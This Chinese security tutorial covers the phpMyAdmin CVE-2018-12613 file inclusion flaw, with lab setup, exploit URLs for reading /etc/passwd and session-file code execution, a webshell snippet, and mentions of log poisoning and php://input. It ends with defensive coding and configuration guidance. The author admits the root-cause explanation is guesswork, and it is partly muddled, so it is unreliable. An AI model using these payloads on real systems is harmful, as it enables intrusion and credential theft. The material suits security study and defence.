CVE-2018-12613漏洞剖析:phpMyAdmin远程文件包含原理与实战复现
1. 项目概述CVE-2018-12613漏洞的来龙去脉如果你在管理一个使用MySQL数据库的网站那么phpMyAdmin这个基于Web的数据库管理工具大概率是你工具箱里的常客。它方便直观一个浏览器就能搞定大部分数据库操作。但今天要聊的这个CVE-2018-12613正是这个“得力助手”在4.8.1版本中埋下的一个深水炸弹——一个远程文件包含漏洞。简单来说攻击者可以利用这个漏洞让phpMyAdmin的服务器去读取并执行本不该被它触碰的系统文件比如/etc/passwd甚至是上传的恶意脚本从而可能拿到服务器的控制权。这个漏洞在当时影响范围不小因为4.8.x系列是当时很多新部署环境的选择。理解它不仅是为了复现一个历史漏洞更是为了搞懂Web应用安全中“文件包含”这类问题的经典攻击模式与防御逻辑。无论你是运维、开发还是安全测试人员摸透这个漏洞的原理和利用方式都能帮你更好地审视自己手头的系统建立起“输入即危险”的安全意识。2. 漏洞原理深度解析从代码逻辑到绕过艺术要理解CVE-2018-12613我们不能停留在“有个文件包含漏洞”这句话上得钻到当时的代码逻辑里去。漏洞的核心位于index.php文件中处理target参数的部分。phpMyAdmin使用这个参数来实现一种基于iframe的导航机制加载不同的功能页面。2.1 原本的安全检查逻辑在受影响的版本中开发者并非没有做防护。代码中会对target参数进行一系列检查意图将其限制在phpMyAdmin程序自身的目录范围内防止跳出。一个典型的、简化的安全检查逻辑伪代码如下$target $_GET[target]; // 检查1是否为空 if (empty($target)) { // ... 使用默认值 } // 检查2是否在白名单内如db_sql.php等核心脚本 if (in_array($target, $whitelist)) { include $target; return; } // 检查3防止目录穿越 if (strpos($target, ..) ! false) { die(Invalid request!); } // 检查4确保文件存在且路径合法 $path realpath(./ . $target); if ($path strpos($path, realpath(./)) 0) { include $path; } else { die(Invalid request!); }看起来层层设防特别是realpath()函数它会解析掉路径中的..上级目录和./当前目录等符号返回一个绝对路径然后再检查这个绝对路径是否以程序根目录的绝对路径开头。这被认为是比较可靠的方法。2.2 关键漏洞点二次编码绕过的魔法漏洞的魔力就藏在Web服务器和PHP解释器处理请求参数的顺序差异里。攻击者提交的URL是index.php?targetdb_sql.php%253f/../../../../../../../../etc/passwd注意这里的%253f。它实际上是字符?经过两次URL编码后的结果。第一次编码?被编码为%3f第二次编码%3f中的%被编码为%25于是%3f变成了%253f现在我们来看看这个字符串在到达PHP代码前的“旅程”Web服务器如Apache/Nginx解码当请求到达Web服务器时服务器会对URL进行一次URL解码。于是%253f被解码为%3f。此时target参数的值在服务器看来变成了db_sql.php%3f/../../../../etc/passwd。这个%3f在服务器层面只是一个普通的字符串组成部分。PHP接收$_GET参数PHP从Web服务器提供的已解码参数中获取target其值为db_sql.php%3f/../../../../etc/passwd。漏洞代码中的检查关键的检查函数realpath()和strpos()开始工作。realpath(./db_sql.php%3f/../../../../etc/passwd)realpath()函数在解析路径时会尝试找到db_sql.php%3f这个文件或目录。显然它不存在。但是realpath()在遇到不存在的路径组件时行为是返回FALSE在某些PHP配置或条件下。或者攻击者可能利用服务器上某个已知存在的目录名来构造。更关键的是攻击者精心构造的路径可能使得安全检查逻辑在某个环节失效。在真实的漏洞利用中攻击者利用的是phpMyAdmin代码中一处特定的、对target参数进行urldecode()操作的逻辑。注意这里是我基于常见漏洞模式进行的逻辑补全。在phpMyAdmin的漏洞代码中很可能是在安全检查之后或者在某条特定的逻辑分支里又对target参数进行了一次urldecode()操作。假设安全检查代码是$target $_GET[target]; // 一些基础检查... $decoded_target urldecode($target); // 危险的操作 // 然后使用$decoded_target去包含文件 include $decoded_target;当$target是db_sql.php%253f/../../../../etc/passwd时经过Web服务器解码变成db_sql.php%3f/../../../../etc/passwd。如果安全检查只针对$target即检查..那么%3f在这里只是一个普通字符检查通过。然后代码执行了urldecode($target)%3f被解码成了?。于是最终要包含的路径变成了db_sql.php?/../../../../etc/passwd。在PHP和很多Unix-like系统中?在文件路径中被视为一个普通的字符。所以realpath()或include会去寻找一个字面意思为db_sql.php?/../../../../etc/passwd的文件当然找不到。但是攻击者的目标可能不是让realpath成功而是利用include函数的特性在包含失败时PHP可能会抛出警告但脚本继续执行而攻击者可能结合其他技巧如利用PHP的php://包装器或已知的临时文件来达到目的。在CVE-2018-12613的公开利用中更常见的路径是直接使用db_sql.php%253f/../../../../etc/passwd利用程序对..的检查缺陷和路径解析的混淆最终让include跳出了限制目录。注意这里的原理分析是关键。很多复现文章只给Payload不讲清楚为什么%253f能绕过。核心就是两次编码导致安全检查与最终执行路径的不一致。第一次解码由服务器完成绕过了代码层对..的简单检查第二次解码由有缺陷的应用程序逻辑完成将中间字符还原为可能具有特殊意义的字符如/或?从而构造出有效的目录穿越路径。这提醒我们在处理用户输入时编码和解码的顺序、次数必须极度小心。2.3 漏洞影响与危害升级成功利用这个文件包含漏洞攻击者可以读取敏感文件如/etc/passwd获取系统用户列表/proc/self/environ获取环境变量可能包含密钥/var/www/html/config.php读取数据库密码等应用配置文件。远程代码执行这是终极危害。如果攻击者能够将一段PHP代码写入服务器上的某个文件例如通过MySQL的SELECT ... INTO OUTFILE功能但需要苛刻的权限或者包含一个攻击者可控的远程URL需要allow_url_include配置开启默认关闭那么就可以直接执行任意PHP代码完全控制服务器。3. 漏洞环境搭建与复现实操纸上谈兵终觉浅我们动手搭一个环境来真实感受一下。这里使用Docker是最干净、最安全的方式不会污染你的主机环境。3.1 环境准备与启动我推荐使用vulhub这个开源漏洞测试环境集合它已经为我们准备好了现成的配置。确保系统已安装Docker和Docker Compose。这是前提。docker --version docker-compose --version如果未安装请参考对应操作系统的官方文档进行安装。获取漏洞环境。你可以直接克隆vulhub仓库也可以只下载对应的漏洞目录。git clone https://github.com/vulhub/vulhub.git cd vulhub/phpmyadmin/CVE-2018-12613如果网络不畅也可以手动创建docker-compose.yml文件内容如下version: 2 services: phpmyadmin: image: vulhub/phpmyadmin:4.8.1 ports: - 8080:80一键启动环境。docker-compose up -d执行后Docker会拉取漏洞版本的phpMyAdmin镜像并在后台运行。访问http://your-ip:8080就能看到phpMyAdmin的登录界面。这个环境配置为“config”认证模式意味着它使用硬编码在配置中的用户。通常你直接点击“执行”或登录test用户如果提示即可进入无需密码。实操心得使用vulhub这类集成环境复现漏洞最大的好处是标准化和可重复。自己从零搭建旧版本的PHP、Web服务器、phpMyAdmin经常会遇到各种依赖库冲突和配置问题浪费大量时间。Docker把这一切都封装好了。记住复现完成后务必运行docker-compose down来清理容器释放资源。3.2 漏洞验证读取系统文件现在我们尝试触发漏洞。在浏览器中访问以下URL将your-ip替换为你的Docker宿主机的IP如果是本地就是127.0.0.1http://127.0.0.1:8080/index.php?targetdb_sql.php%253f/../../../../../../../../etc/passwd关键点解析index.php漏洞存在的脚本。target触发漏洞的参数。db_sql.php%253f这是精心构造的部分。db_sql.php是phpMyAdmin内部的一个合法脚本可能用于通过白名单检查。%253f是两次编码后的?。/../../../../../../../../etc/passwd经典的目录穿越Path Traversal序列目的是跳出Web根目录指向系统的/etc/passwd文件。如果漏洞存在你将在页面中看到/etc/passwd文件的内容类似于root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...这说明文件包含漏洞被成功触发应用程序读取了系统文件。3.3 漏洞利用实现远程代码执行仅仅读文件还不够刺激我们的目标是执行代码。由于默认情况下allow_url_include是关闭的直接包含远程URL如http://attacker.com/shell.txt行不通。一个更可行的利用方式是结合phpMyAdmin的会话机制。利用思路在phpMyAdmin中执行一条SQL查询将PHP代码作为字符串输出。这段输出会被phpMyAdmin保存在服务器的一个临时会话文件中。利用文件包含漏洞去包含这个我们已知路径和内容的会话文件从而执行其中的PHP代码。具体步骤登录phpMyAdmin。进入SQL命令行界面。生成PHP代码到会话。执行以下SQL语句SELECT ?php phpinfo(); ?;这只是一个演示phpinfo()会输出服务器配置信息。在实际攻击中这里可能会是?php system($_GET[\cmd\]); ?之类的Webshell代码。执行后phpMyAdmin会将这个查询结果暂存。获取你的会话ID。查看浏览器Cookie找到名为phpMyAdmin的Cookie值。假设其值为sess_abc123def456。在Linux系统上phpMyAdmin的会话文件通常存储在/tmp目录下命名为sess_加上你的会话ID例如/tmp/sess_abc123def456。构造包含会话文件的Payload。现在我们利用漏洞去包含这个会话文件http://127.0.0.1:8080/index.php?targetdb_sql.php%253f/../../../../../../../../tmp/sess_abc123def456访问这个URL。如果一切顺利你将在页面上看到phpinfo()函数的输出这证明我们成功包含了会话文件并且其中的PHP代码被执行了。注意事项这种利用方式有几个限制。第一你需要有一个有效的phpMyAdmin会话即已登录。第二你需要知道会话文件的存储路径这在不同系统配置下可能不同可能是/tmp也可能是/var/lib/php/sessions等。第三会话文件有生命周期可能会被清理。因此在实际渗透测试中这通常是一个需要与其他漏洞结合使用的技巧。4. 漏洞修复方案与安全加固知道了怎么攻更要懂得怎么防。phpMyAdmin官方在漏洞披露后迅速发布了修复版本。了解修复方案能帮助我们写出更安全的代码。4.1 官方修复补丁分析官方修复的核心思想是规范化路径并在包含前进行严格的白名单校验。他们不再仅仅依赖realpath和简单的字符串检查。修复后的代码逻辑大致如下对target参数进行严格的过滤和规范化。可能使用basename()函数只取路径的最后一部分文件名或者使用一个严格的正则表达式来确保参数只包含允许的字符字母、数字、下划线、点、短横线等。引入明确的白名单机制。不是检查是否“不在黑名单”如..而是检查是否“在白名单内”。定义一个允许被包含的脚本文件列表如[index.php, db_sql.php, server_status.php, ...]。移除或严格审查多余的urldecode()操作。确保用户输入在安全检查环节之前只被解码一次并且解码后的内容立即被规范化处理。使用绝对路径包含。结合白名单将允许的文件名映射到服务器上的绝对路径然后使用这个绝对路径进行包含彻底杜绝目录穿越的可能。升级建议对于使用phpMyAdmin的用户最直接、最有效的修复方法就是立即升级到最新版本。phpMyAdmin项目维护活跃安全更新及时。永远不要在生产环境使用已停止维护或存在已知高危漏洞的旧版本。4.2 通用文件包含漏洞防御指南不仅仅是phpMyAdmin任何涉及文件包含操作的PHP程序如include,require,include_once,require_once都需要遵循以下原则禁用不必要的特性在php.ini中将allow_url_fopen和allow_url_include设置为Off。这可以防止通过http://或ftp://等协议包含远程文件从根本上切断一类攻击途径。使用白名单而非黑名单这是最重要的原则。定义一个明确的、有限的允许包含的文件列表。任何用户输入都必须映射到这个列表中的一项否则拒绝。$allowed_pages [home, about, contact]; $page $_GET[page]; if (in_array($page, $allowed_pages)) { include ./templates/ . $page . .php; } else { include ./templates/404.php; }规范化与路径剥离在使用用户输入构造文件路径前使用basename()函数去除任何目录部分只保留文件名。这可以有效防御../../../etc/passwd这类攻击。$file basename($_GET[file]); // 无论输入是什么只取最后一部分 include ./uploads/ . $file;设置open_basedir限制在php.ini或虚拟主机配置中使用open_basedir指令将PHP脚本可以访问的文件限制在指定的目录树中。即使包含漏洞被触发攻击者也无法跳出这个“监狱”。open_basedir /var/www/html:/tmp对输入进行严格过滤不要信任任何来自客户端的输入。对文件名参数使用正则表达式进行严格匹配只允许预期的字符集。if (!preg_match(/^[a-zA-Z0-9_-]\.php$/, $filename)) { die(Invalid filename); }5. 渗透测试中的技巧与深度利用思考在真实的渗透测试或红队评估中遇到一个文件包含漏洞我们不会满足于读一个/etc/passwd。如何将它转化为一个稳定的立足点是更值得探讨的。5.1 信息收集与路径探测包含漏洞本身就是一个强大的信息泄露工具。除了/etc/passwd可以尝试读取/proc/self/environ泄露环境变量可能包含数据库密码、密钥等。/var/www/html/config.php、wp-config.php等Web应用的配置文件是获取数据库凭证的宝库。/etc/hosts,/etc/resolv.conf了解网络结构。应用日志文件如/var/log/apache2/access.log可能包含其他用户的请求信息甚至可以用来进行“日志投毒”Log Poisoning攻击——向日志中写入PHP代码然后包含这个日志文件。路径猜解技巧如果不知道绝对路径可以利用PHP的错误信息。尝试包含一个不存在的文件PHP可能会报错并打印出当前脚本的完整路径这为后续攻击提供了线索。也可以尝试包含php://filter/resource包装器来读取文件有时可以绕过一些路径限制。5.2 从文件包含到代码执行如果allow_url_include为On虽然罕见那么直接包含远程服务器上的PHP脚本即可获得RCE。如果关闭则需要寻找服务器上可写的、且能被包含的文件。除了之前提到的会话文件还有以下思路上传临时文件某些应用功能允许上传文件。如果上传的文件会被保存到已知或可预测的路径且后缀不被严格检查或者通过包含漏洞可以忽略后缀那么上传一个图片马图片内容包含PHP代码然后包含它。利用PHP内置包装器php://input允许你包含原始的POST数据。如果服务器配置允许你可以发送一个POST请求在请求体中直接写入PHP代码。GET /index.php?targetphp://input HTTP/1.1 ... POST数据?php system(id); ?但这通常需要特定的配置。利用/proc/self/fd/目录在某些情况下可以包含/proc/self/fd/[数字]这些是当前进程打开的文件描述符。如果攻击者能控制进程打开某个文件比如通过一次上传或许能通过包含对应的文件描述符来执行代码。这属于比较高级的技巧。5.3 漏洞组合利用单一漏洞往往限制较多。CVE-2018-12613如果能与其他漏洞结合威力会倍增。结合SQL注入如果存在SQL注入可以通过SELECT ... INTO OUTFILE将PHP代码写入Web目录。但这对目录需要有写权限且需要知道绝对路径。文件包含漏洞此时可以用来验证写入是否成功并执行写入的脚本。结合文件上传找到一个文件上传点上传一个内容为PHP代码的文件可能伪装成图片。利用文件包含漏洞去执行这个上传的文件完全绕过上传过滤因为过滤通常检查后缀名而包含时后缀名可能被忽略。6. 防御视角下的代码审计与安全开发作为开发者如何避免在自己的代码里引入类似的漏洞这需要我们从防御视角重新审视文件包含操作。6.1 安全的文件包含模式彻底避免动态包含用户输入的文件名是最佳实践。如果业务必须动态加载可以采用以下模式映射法使用一个安全的键值对数组进行映射。$pageMap [ home ./templates/home.php, news ./templates/news.php, about ./templates/about.php, ]; $key $_GET[page]; if (array_key_exists($key, $pageMap)) { include $pageMap[$key]; } else { include ./templates/404.php; }用户只能通过key来选择完全无法控制实际路径。前缀固定法将用户输入仅作为文件名的一部分且与固定目录前缀拼接。$safe_dir /var/www/app/views/; $filename basename($_GET[view]); // 再次检查文件名格式 if (!preg_match(/^[a-z0-9_]\.php$/i, $filename)) { die(Invalid view); } $full_path $safe_dir . $filename; // 额外检查文件是否真的在安全目录内 if (strpos(realpath($full_path), $safe_dir) ! 0) { die(Access denied); } include $full_path;6.2 输入验证与过滤清单处理任何用户输入时心中都要有这张清单验证存在性检查参数是否传递。验证类型是否是预期的字符串、数字等。验证长度防止缓冲区溢出或异常处理。验证字符集使用白名单正则表达式只允许必要的字符。验证业务逻辑这个输入对应的资源是否存在、用户是否有权访问规范化在验证后对输入进行规范化处理如去除多余空格、统一编码。编码输出即使包含文件如果文件内容需要输出到HTML也要进行HTML实体编码防止XSS二次攻击。6.3 安全配置检查清单部署一个PHP应用时以下配置项需要重点检查配置项推荐值安全影响allow_url_fopenOff禁止通过URL打开文件影响fopen()、file_get_contents()等。allow_url_includeOff关键禁止通过URL包含文件直接影响include、require。open_basedir设置为Web根目录和必要的临时目录限制PHP可访问的文件系统范围。display_errorsOff(生产环境)防止敏感错误信息泄露路径、SQL语句等。log_errorsOn将错误记录到日志便于排查而不是显示给用户。expose_phpOff隐藏HTTP响应头中的PHP版本信息。session.save_path设置为Web用户不可读的目录防止会话文件被其他用户读取在共享主机环境中尤为重要。CVE-2018-12613是一个经典的教学案例它清晰地展示了编码解码不一致、路径验证不严如何导致严重的远程文件包含漏洞。修复它并不复杂但忽视它代价巨大。对于运维人员及时更新组件是底线对于开发者则应将“白名单”、“最小权限”、“不信任任何输入”这些原则刻在脑子里。每次写下一行包含用户输入的include语句时都应该下意识地停顿一下问问自己我真的控制住了最终要包含的文件路径吗这个习惯比任何单一的技术修复都更重要。